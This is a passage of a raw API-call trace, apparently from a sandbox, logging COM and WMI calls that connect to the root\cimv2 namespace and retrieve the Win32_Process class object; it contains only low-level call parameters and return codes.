riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0065.784] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f9630, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11f9650) returned 0x0 [0065.784] WbemLocator:IUnknown:Release (This=0x11f9630) returned 0x0 [0065.784] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9650, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11f9650) returned 0x0 [0065.784] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9650, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0065.784] WbemLocator:IUnknown:AddRef (This=0x11f9650) returned 0x3 [0065.784] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9650, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0065.784] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9650, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0065.784] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9650, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0065.785] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0065.785] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0065.785] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9650, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0065.785] WbemLocator:IUnknown:Release (This=0x11f9650) returned 0x2 [0065.785] WbemLocator:IUnknown:Release (This=0x11f9650) returned 0x1 [0065.785] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0065.785] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0065.785] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9650, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11f9650) returned 0x0 [0065.785] WbemLocator:IUnknown:AddRef (This=0x11f9650) returned 0x3 [0065.785] WbemLocator:IUnknown:Release (This=0x11f9650) returned 0x2 [0065.785] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b880, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0065.785] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0065.785] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.785] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11f98d0) returned 0x0 [0065.785] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f98d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf53db0) returned 0x0 [0065.880] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53db0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bef0bb0) returned 0x0 [0065.880] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef0bb0, pProxy=0x1bf53db0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0065.880] WbemLocator:IUnknown:Release (This=0x1bef0bb0) returned 0x1 [0065.880] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53db0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bef0bf0) returned 0x0 [0065.880] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53db0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bef0bb0) returned 0x0 [0065.880] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef0bb0, pProxy=0x1bf53db0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0065.880] WbemLocator:IUnknown:Release (This=0x1bef0bb0) returned 0x2 [0065.880] WbemLocator:IUnknown:Release (This=0x1bef0bf0) returned 0x1 [0065.880] CoTaskMemFree (pv=0x1bf3d160) [0065.880] WbemLocator:IUnknown:AddRef (This=0x1bf53db0) returned 0x2 [0065.881] WbemLocator:IUnknown:Release (This=0x11f98d0) returned 0x0 [0065.882] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0065.882] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0065.882] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53db0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bef0bc0) returned 0x0 [0065.882] WbemLocator:IRpcOptions:Query (in: This=0x1bef0bc0, pPrx=0x11f9870, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0065.882] WbemLocator:IUnknown:Release (This=0x1bef0bc0) returned 0x2 [0065.882] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0065.883] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0065.883] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53db0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf53db0) returned 0x0 [0065.884] WbemLocator:IUnknown:Release (This=0x1bf53db0) returned 0x2 [0065.884] SysStringLen (param_1=0x0) returned 0x0 [0065.884] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b880, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0065.884] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0065.884] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.884] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bac0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0065.884] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bac0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0065.885] IWbemServices:GetObject (in: This=0x1bf53db0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bf43870, ppCallResult=0x0) returned 0x0 [0065.888] IWbemClassObject:Get (in: This=0x1bf43870, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0065.889] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0065.889] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0065.889] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0065.889] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0065.889] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0065.889] IUnknown:Release (This=0x111f638) returned 0x1 [0065.892] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11f98d0) returned 0x0 [0065.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f98d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0065.893] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f98d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf3b7c0) returned 0x0 [0065.893] WbemDefPath:IUnknown:Release (This=0x11f98d0) returned 0x0 [0065.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf3b7c0) returned 0x0 [0065.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0065.893] WbemDefPath:IUnknown:AddRef (This=0x1bf3b7c0) returned 0x3 [0065.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0065.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0065.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x11f98f0) returned 0x0 [0065.893] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f98f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.893] WbemDefPath:IUnknown:Release (This=0x11f98f0) returned 0x3 [0065.893] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0065.894] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0065.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0065.894] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x2 [0065.894] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x1 [0065.894] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0065.894] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0065.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3b7c0) returned 0x0 [0065.894] WbemDefPath:IUnknown:AddRef (This=0x1bf3b7c0) returned 0x3 [0065.894] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x2 [0065.894] WbemDefPath:IWbemPath:SetText (This=0x1bf3b7c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0065.894] IWbemClassObject:Get (in: This=0x1bf43870, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0065.894] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0065.894] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0065.895] IWbemClassObject:Get (in: This=0x1bf43870, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0065.895] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0065.895] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0065.895] IWbemClassObject:Get (in: This=0x1bf43870, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0065.895] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0065.895] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0065.895] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0065.895] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0065.895] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0065.895] IUnknown:Release (This=0x111f638) returned 0x1 [0065.897] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f9430) returned 0x0 [0065.897] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9430, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0065.897] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9430, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b700) returned 0x0 [0065.897] WbemDefPath:IUnknown:Release (This=0x11f9430) returned 0x0 [0065.897] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b700) returned 0x0 [0065.897] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0065.898] WbemDefPath:IUnknown:AddRef (This=0x1bf3b700) returned 0x3 [0065.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0065.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0065.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f95b0) returned 0x0 [0065.898] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f95b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.898] WbemDefPath:IUnknown:Release (This=0x11f95b0) returned 0x3 [0065.898] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0065.898] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0065.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0065.898] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x2 [0065.898] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x1 [0065.898] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0065.898] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0065.898] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b700) returned 0x0 [0065.898] WbemDefPath:IUnknown:AddRef (This=0x1bf3b700) returned 0x3 [0065.898] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x2 [0065.898] WbemDefPath:IWbemPath:SetText (This=0x1bf3b700, uMode=0x4, pszPath="") returned 0x0 [0065.898] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0065.898] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0065.899] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0065.899] IUnknown:Release (This=0x111f638) returned 0x1 [0065.900] CoGetClassObject (in: 